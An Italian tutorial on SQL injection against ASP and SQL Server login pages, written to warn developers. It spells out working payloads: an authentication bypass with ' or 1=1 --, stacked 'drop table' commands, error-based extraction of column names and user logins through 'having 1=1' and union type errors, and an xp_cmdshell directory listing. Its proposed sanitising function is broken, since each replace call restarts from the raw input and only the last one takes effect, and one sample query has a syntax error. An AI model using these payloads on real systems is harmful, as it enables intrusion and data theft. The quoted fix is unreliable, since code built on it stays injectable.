SQL injection - Tecniche ed Esempi

Home | SQL

Durante la creazione di un sito dinamico che si interfaccia ad un database bisogna tener conto di una tecnica usata dagli hacker per forzare le query e penetrare in modo fraudolento.

La tecnica in questione è l'sql injection. Essendo molto ampio il trattamento mi limito ad alcuni esempi e relativi modi per cercare di difendersi.

Di solito la pagina di entrata prevede un accesso tramite login e password registrate in una tabella del nostro database (supponiamo di star lavorando in ASP). Un errore molto frequente è quello di creare dinamicamente la query di controllo in questo modo:

sql = "select * from users where userName = '" & _ 
	request("userName") &  _ 
	"' and userPass = '" & request("userPass") & "'"

Per poi controllare se esiste un record con queste credenziali. Sembrerebbe tutto ok ma questo è un ERRORE FATALE!!! Basta inserire come userName la stringa

' or 1=1 --

e l'accesso è garantito, in quanto il prima apice chiude il match con lo user name e

or 1=1 

permette di selezionare tutti i record. I due trattini successivi servono per commentare il restante pezzo di query che ci siamo inutilmente affaticati a creare. La query risultante in fatti sarà

sql = "select * from users where userName = '' or 1=1 --' and userPass = 'Rreuoi3208dslkj'

Se trovate un hacker più cattivo, e utilizzate un utente con poteri di modifica della struttura del database potreste anche subire un attacco del genere:

request("userName") = "' or 1=1; drop table tabella1;--"

Provate ad immaginare cosa potrebbe combinarvi.
Un modo semplice per ovviare a questo problema potrebbe essere una funzione che raddoppia tutti gli apici in input

function RequestCheck(var)
RequestCheck = replace(request(var),"'", "''")
end function

La sua applicazione sarebbe

sql = "select * from users where userName = '" & _
	RequestCheck("userName") & "' and userPass = '" _
	RequestCheck("userPass") & "'"

Ancora meglio sarebbe una funzione che oltre a raddoppiare i caratteri rimuovesse le keywords pericolose:

function RequestCheck(var)
	RequestCheck = replace(request(var),"'", "''")
	RequestCheck = replace(request(var),"drop", "")
	RequestCheck = replace(request(var),"insert", "")
	RequestCheck = replace(request(var),"update", "")
	RequestCheck = replace(request(var),"xp_", "")
	...
end function 
	

E' evidente che questo è solo un esempio abbastanza scarno, serve solo per far capire cosa è possibile fare per correre ai ripari.
Buon uso è comunque controllare tutte le variabili di request che dobbiamo concatenare alle query anche solo per selezionare un record.
Di solito le chiavi sono numeriche, un errore simile è selezionare il record in base alla chiave che arriva dalla pagina precedente in questo modo:

sql = "select * from miaTabella where idOggetto = " & request("idOggetto")

Anche qui è necessario fare qualcosa altrimenti se la request di idOggetto viene forzata a

0; drop table MiaTabella;

siamo fregati.
Ogni giorno sui siti ci sono centinaia di questi tipi di attacchi, quindi immagino che ci sia gente che si diverte a 'controllare' il lavoro altrui. Basta farsi trovare preparati controllando qualsiasi gnerazione dinamica delle query

Come si prendono le informazioni

Ci sono molte tecniche che sfruttano di solito i messaggi di errore, in spacial modo di SQL Server per acquisire informazioni sulla struttura del database.

La struttura della tabella

Il modo più immediato è lanciare la seguente query

' having 1=1--	
ovvero generare una query del tipo
select * from miatabella where userId='' having 1=1
provate a lanciarla e vedrete che SQL Server vi specificherà il nome di tutti i campi presenti nella tabella che non fanno parte dell'aggregazione
erver: Msg 8118, Level 16, State 1, Line 1
Column 'miatabella.NOMECAMPO' is invalid in the select list because 
it is not contained in an aggregate function and there is no GROUP BY clause.

Se per caso viene restituito solo il primo campo basta far lanciare la query

select * from miatabella where userId='' group by miatbella.campo1 having 1=1

Carpire il nome e le password degli utenti

Una volta capito il nome dei campi facenti parte della query è facile acquisire tutti i valori.

select idUtente, login, password from utenti where login='
' union select 1,1,'qualsiasi valore' from utenti
l'errore generato sarà
Server: Msg 245, Level 16, State 1, Line 1
Syntax error converting the varchar value 'UTENTE1' to a column of data type int.

Ovvero restituisce il valore del campo login (in questo caso UTENTE1) perchè dice di non poterlo convertire in intero (quell'1 che appositamente abbiamo inserito).

Allo stesso modo è facile riuscire a prendersi anche tutte le passowrd ed entrare con l'utente che desideriamo

Danneggiare il database

Questo può accadere quando l'utente DB ha i poteri di modificare la struttura del database. Si capisce subito che

'; drop table utenti; -- 

inserita nella login creerebbe qualche problemino...
Così come lanciare un comando di truncate table o affini.

Acquisire informazioni del sistema operativo

Se poi l'utente DB ha anche i diritti di amministratore di sistema (in SQL Server sa), allora si potrebbero lanciare le stored procedures di sistema, la più nota

' ;exec master..xp_cmdshell 'dir c:\';--

Svela tutti i file contenuti nella directory principale del server, il comando type ne farebbe vedere anche il contenuto ...

Conclusioni

E' buona regola:

  • Controllare gli input prima di passarli come parametri ai processi interni
  • Ridurre al minimo indispensabile i permessi dell'utente DB che lavora sulla pagina
  • Fare in modo che il web server invii messaggi di errore controllati e generici agli utenti web
  • Ma il problema più grave è che probabilmente questa è solo una parte delle possibilità di attacco.

    Home
    Torna alla home page di SQL Server